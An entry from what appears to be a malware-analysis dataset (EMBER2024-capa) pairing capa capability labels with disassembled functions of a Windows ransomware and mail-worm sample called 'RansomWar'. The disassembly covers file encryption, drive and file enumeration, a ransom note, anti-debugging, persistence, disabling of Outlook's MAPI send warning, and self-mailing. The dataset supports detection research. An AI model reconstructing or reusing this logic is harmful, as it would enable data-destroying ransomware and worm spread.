joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47f810
Capabilities:
Encrypt data using curve25519

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x198
mov qword [rsp + 0x28], rcx
xor eax, eax
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
mov byte [rsp + rax + 0x30], cl
add rax, 1
cmp rax, 0x20
jne 0x47f830
and byte [rsp + 0x30], 0xf8
mov al, byte [rsp + 0x4f]
and al, 0x3f
or al, 0x40
mov byte [rsp + 0x4f], al
lea rbp, [rsp + 0x140]
mov rcx, rbp
call fcn.00479570
lea rbx, [rsp + 0x170]
mov rcx, rbx
call fcn.00479200
lea rsi, [rsp + 0xb0]
mov rcx, rsi
mov rdx, rbp
mov r8, rbx
call fcn.00479220
mov rcx, rbx
mov rdx, rbx
mov r8, rbp
call fcn.0047b4a0
mov rcx, rbx
mov rdx, rbx
call fcn.00479800
mov rcx, rbp
mov rdx, rsi
mov r8, rbx
call fcn.00479fa0
lea rcx, [rsp + 0x80]
call fcn.00479200
lea rdi, [rsp + 0x110]
mov rcx, rdi
call fcn.004791e0
lea rcx, [rsp + 0x50]
mov rdx, rbp
call fcn.00479550
lea r14, [rsp + 0xe0]
mov rcx, r14
call fcn.00479200
mov r13d, 0xfe
xor r15d, r15d
nop word cs:[rax + rax]
nop
mov ebp, r15d
mov eax, r13d
shr rax, 3
movzx r15d, byte [rsp + rax + 0x30]
mov ecx, r13d
and cl, 7
shr r15d, cl
and r15d, 1
xor ebp, r15d
lea rsi, [rsp + 0x80]
mov rcx, rsi
lea r12, [rsp + 0x50]
mov rdx, r12
mov r8d, ebp
call fcn.004793b0
mov rcx, rdi
mov rdx, r14
mov r8d, ebp
call fcn.004793b0
lea rbp, [rsp + 0xb0]
mov rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.0047b4a0
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.0047b4a0
mov rcx, rsi
mov rdx, rsi
mov r8, rdi
call fcn.00479220
mov rcx, rdi
mov rdx, r12
mov r8, r14
call fcn.00479220
mov rcx, r14
mov rdx, rbp
mov r8, rsi
call fcn.00479fa0
mov rcx, rdi
mov rdx, rdi
mov r8, rbx
call fcn.00479fa0
mov rcx, rbp
mov rdx, rbx
call fcn.00479a90
mov rcx, rbx
mov rdx, rsi
call fcn.00479a90
mov rcx, r12
mov rdx, r14
mov r8, rdi
call fcn.00479220
mov rcx, rdi
mov rdx, r14
mov r8, rdi
call fcn.0047b4a0
mov rcx, rsi
mov rdx, rbx
mov r8, rbp
call fcn.00479fa0
mov rcx, rbx
mov rdx, rbx
mov r8, rbp
call fcn.0047b4a0
mov rcx, rdi
mov rdx, rdi
call fcn.00479a90
mov rcx, r14
mov rdx, rbx
call fcn.0047aae0
mov rcx, r12
mov rdx, r12
call fcn.00479a90
mov rcx, rbp
mov rdx, rbp
mov r8, r14
call fcn.00479220
mov rcx, r14
lea rdx, [rsp + 0x140]
mov r8, rdi
call fcn.00479fa0
mov rcx, rdi
mov rdx, rbx
mov r8, rbp
call fcn.00479fa0
add r13d, 0xffffffff
cmp r13d, 0xffffffff
jne 0x47f900
lea rsi, [rsp + 0x80]
lea rdx, [rsp + 0x50]
mov rcx, rsi
mov r8d, r15d
call fcn.004793b0
lea rdi, [rsp + 0x110]
lea rdx, [rsp + 0xe0]
mov rcx, rdi
mov r8d, r15d
call fcn.004793b0
mov rcx, rdi
mov rdx, rdi
call fcn.00479800
mov rcx, rsi
mov rdx, rsi
mov r8, rdi
call fcn.00479fa0
mov rcx, qword [rsp + 0x28]
mov rdx, rsi
call fcn.0047a810
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00407930]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00407940]
mov dword [rax], 1
mov rax, qword [0x00407950]
mov dword [rax], 1
mov rax, qword [0x00407920]
mov dword [rax], 1
mov rax, qword [0x004077e0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00407910]
mov dword [0x0040a008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x004078d0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00407790]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x401d8d
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x100], rcx
mov qword [rbp + 0xd8], 0
mov dword [rbp - 0x34], 0
lea rax, [rbp - 0x30]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
lea rax, [rbp - 0x30]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x30]
add rax, rdx
movabs rdi, 0x576d6f736e61525c
mov qword [rax], rdi
mov dword [rax + 8], 0x742e7261
mov word [rax + 0xc], 0x7478
mov byte [rax + 0xe], 0
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 2
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0xffffffffffffffff
je 0x401ff8
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0xd8]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x52
lea rdx, str.Dear_user__r_n_some_of_your_files_have_been_encrypted_using_a_quite_strong_system._r_n
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0xd8]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x36
lea rdx, str.Now_you_are_scared_but_I_will_not_ask_you_for_money._r_n
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0xd8]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x3a
lea rdx, str.If_you_want_to_get_back_your_files_you_can_do_following:_r_n
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0xd8]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x44
lea rdx, str.1__Contact_a_good_antivirus_company_that_will_decrypt_them_for_you_r_n
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0xd8]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x4f
lea rdx, str.2__You_can_send_an_email_to_back9001_yahoo.com_requesting_a_decryptor_program_r_n
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0xd8]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x51
lea rdx, str.3__You_can_launch_your_PC_trought_the_window_or_use_a_better_OS__like_linux__:__r_n
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0xd8]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x22
lea rdx, str._r_n_r_n_RansomWar_by__WarGame_eof__r_n
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x30]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
nop
add rsp, 0x168
pop rdi
pop rbp
ret
Function at 0x402402
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x390
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x320], rcx
lea rax, str._s_s
mov qword [rbp + 0x308], rax
lea rax, str._s.
mov qword [rbp + 0x300], rax
mov rcx, qword [rbp + 0x320]
call sym.strlen
cmp rax, 3
jne 0x402455
mov rax, qword [rbp + 0x320]
add rax, 2
mov byte [rax], 0
mov rdx, qword [rbp + 0x300]
lea rax, [rbp + 0x1f0]
mov r8, qword [rbp + 0x320]
mov rcx, rax
call sym.sprintf
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x2f8], rax
lea rax, [rbp - 0x60]
lea rcx, [rax + 0x2c]
mov rdx, qword [rbp + 0x308]
lea rax, [rbp + 0xe0]
mov r9, rcx
mov r8, qword [rbp + 0x320]
mov rcx, rax
call sym.sprintf
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, [0x004072a6]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x40250c
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, [0x004072a9]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x40250c
mov eax, dword [rbp - 0x60]
and eax, 0x10
test eax, eax
je 0x40250c
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.S3arch
jmp 0x402605
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str..rwg
mov rcx, rax
call sym.strstr
test rax, rax
jne 0x402605
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str..dll
mov rcx, rax
call sym.strstr
test rax, rax
jne 0x402605
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str..exe
mov rcx, rax
call sym.strstr
test rax, rax
jne 0x402605
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str..ini
mov rcx, rax
call sym.strstr
test rax, rax
jne 0x402605
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str..vxd
mov rcx, rax
call sym.strstr
test rax, rax
jne 0x402605
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str..drv
mov rcx, rax
call sym.strstr
test rax, rax
jne 0x402605
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, [0x004072a6]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402605
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, [0x004072a9]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x402605
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.Encrypt_File
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x2f8]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x402490
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
nop
add rsp, 0x390
pop rbp
ret
Function at 0x402641
Capabilities:
Create process on windows
Print debug messages

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, str.IsDebuggerPresent
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x4026c5
mov rax, qword [rbp - 0x10]
call rax
test rax, rax
je 0x4026b5
lea rcx, str.do_you_want_to_kill_me_
mov rax, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rax
mov edx, 5
lea rcx, str.notepad.exe
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
jmp 0x40269e
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x402683
nop
nop
add rsp, 0x30
pop rbp
ret

Function at 0x4026cd
Capabilities:
Get disk information

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov byte [rbp - 1], 0
mov byte [rbp - 1], 0x43
jmp 0x40272b
movzx eax, byte [rbp - 1]
mov byte [rbp - 0xb], al
mov byte [rbp - 0xa], 0x3a
mov byte [rbp - 9], 0x5c
mov byte [rbp - 8], 0
lea rax, [rbp - 0xb]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
call rax
mov dword [rbp - 8], eax
cmp dword [rbp - 8], 3
je 0x402715
cmp dword [rbp - 8], 4
jne 0x402721
lea rax, [rbp - 0xb]
mov rcx, rax
call sym.S3arch
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
cmp byte [rbp - 1], 0x5a
jle 0x4026e3
mov ecx, 0x927c0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x4026dd
Function at 0x402883
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xc0
mov dword [rbp - 0x84], 0x64
mov dword [rbp - 0x88], 0
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 0
lea rdx, str.Identities
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x4029cb
mov rcx, qword [rbp - 8]
lea rax, [rbp - 0x84]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
lea rdx, str.Default_User_ID
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
jne 0x4029bb
lea rax, [rbp - 0x80]
lea rdx, str.SoftwareMicrosoftOutlook_Express5.0Mail
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcatA]
call rax
test rax, rax
je 0x4029bb
mov rcx, qword [rbp - 8]
lea rax, [rbp - 0x80]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 2
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x4029bb
mov rcx, qword [rbp - 0x10]
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x88]
mov qword [rsp + 0x20], rax
mov r9d, 4
mov r8d, 0
lea rdx, str.Warn_on_Mapi_Send
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 1
jmp 0x4029d0
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
add rsp, 0xc0
pop rbp
ret
Function at 0x4029d9
Capabilities:
Copy file
Get common file path
Link many functions at runtime

Disassembly:
push rbp
push rdi
sub rsp, 0x4b8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x450], rcx
lea rcx, str.mapi32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x428], rax
cmp qword [rbp + 0x428], 0
je 0x402cc4
mov rax, qword [rbp + 0x428]
lea rdx, str.MAPILogon
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x428]
lea rdx, str.MAPIFindNext
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x428]
lea rdx, str.MAPIReadMail
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x410], rax
mov rax, qword [rbp + 0x428]
lea rdx, str.MAPISendMail
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x408], rax
mov rax, qword [rbp + 0x428]
lea rdx, str.MAPILogoff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x400], rax
cmp qword [rbp + 0x420], 0
je 0x402cc7
cmp qword [rbp + 0x418], 0
je 0x402cc7
cmp qword [rbp + 0x410], 0
je 0x402cc7
cmp qword [rbp + 0x408], 0
je 0x402cc7
cmp qword [rbp + 0x400], 0
je 0x402cc7
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0xd0]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
lea rax, [rbp + 0xd0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xd0]
add rax, rdx
movabs rdi, 0x6578652e6b6b6b5c
mov qword [rax], rdi
mov byte [rax + 8], 0
lea rdx, [rbp + 0xd0]
lea rax, [rbp - 0x40]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x420]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
call rax
test eax, eax
jne 0x402caf
mov byte [rbp + 0x1f0], 0
mov rcx, qword [rbp + 0x1e0]
lea rdx, [rbp + 0x1f0]
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000
mov rax, qword [rbp + 0x418]
mov r9, rdx
mov r8d, 0
mov edx, 0
call rax
test eax, eax
jne 0x402c8d
mov rcx, qword [rbp + 0x1e0]
lea rdx, [rbp + 0x1f0]
lea rax, [rbp + 0x1e8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x410]
mov r9d, pe_nt_image_headers64
mov r8, rdx
mov edx, 0
call rax
test eax, eax
jne 0x402bd3
mov r8, qword [rbp + 0x1e0]
mov rax, qword [rbp + 0x1e8]
mov rax, qword [rax + 0x38]
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0xd0]
mov rdx, qword [rbp + 0x408]
mov r9, rcx
mov rcx, rax
call sym.SendMail
jmp 0x402bd3
nop
mov rcx, qword [rbp + 0x1e0]
mov rax, qword [rbp + 0x400]
mov r9d, 0
mov r8d, 0
mov edx, 0
call rax
mov rax, qword [rbp + 0x428]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x402cc8
nop
jmp 0x402cc8
nop
add rsp, 0x4b8
pop rdi
pop rbp
ret
Function at 0x402cd2
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Get common file path
Terminate process

Disassembly:
push rbp
push rdi
sub rsp, 0x278
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x210], rcx
mov qword [rbp + 0x218], rdx
mov qword [rbp + 0x220], r8
mov dword [rbp + 0x228], r9d
lea rax, [rbp - 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.AntiDebug]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
lea r8, str.RansomWar_EOF
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
jne 0x402d8a
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Internal_error_in_module_gdi32.dll
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
lea rax, [rbp + 0xe0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x30]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
lea rax, [rbp - 0x30]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x30]
add rax, rdx
movabs rdi, 0x7265766f6365725c
mov qword [rax], rdi
mov dword [rax + 8], 0x78652e79
mov word [rax + 0xc], 0x65
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0xe0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp - 0x30]
mov r8, rax
lea rdx, [0x0040748b]
lea rcx, str.windows
mov rax, qword [sym.imp.KERNEL32.dll_WriteProfileStringA]
call rax
lea rax, [rbp - 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.R4ns0m]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemTime]
call rax
call sym.DisableMAPIWarning
test eax, eax
je 0x402ec2
movzx eax, word [rbp - 0x4a]
and eax, 1
test ax, ax
jne 0x402ec2
lea rax, [rbp - 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.MailMySelf]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov ecx, 0xffffffff
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
nop
add rsp, 0x278
pop rdi
pop rbp
ret
Function at 0x403400
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0040a624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x403588
mov rax, qword [0x0040a628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40344c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x4034d5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x403430
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4035bd
mov rax, qword [0x0040a628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0040a628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4035a0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4034ce
sub eax, 0x40
and eax, 0xffffffbf
jne 0x403530
add dword [0x0040a624], 1
cmp edi, 8
jae 0x403503
test dil, 4
jne 0x403574
test edi, edi
je 0x4034f8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40358f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x4034f8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40351c
jmp 0x4034f8
add rsi, qword [0x0040a628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4034ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x4034f8
xor esi, esi
jmp 0x403457
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x4034f8
mov rax, qword [0x0040a628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x403d10
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040a900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040a8e0]
test rbx, rbx
je 0x403d64
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x403d5b
test rsi, rsi
je 0x403d5b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x403d40
lea rcx, [0x0040a900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]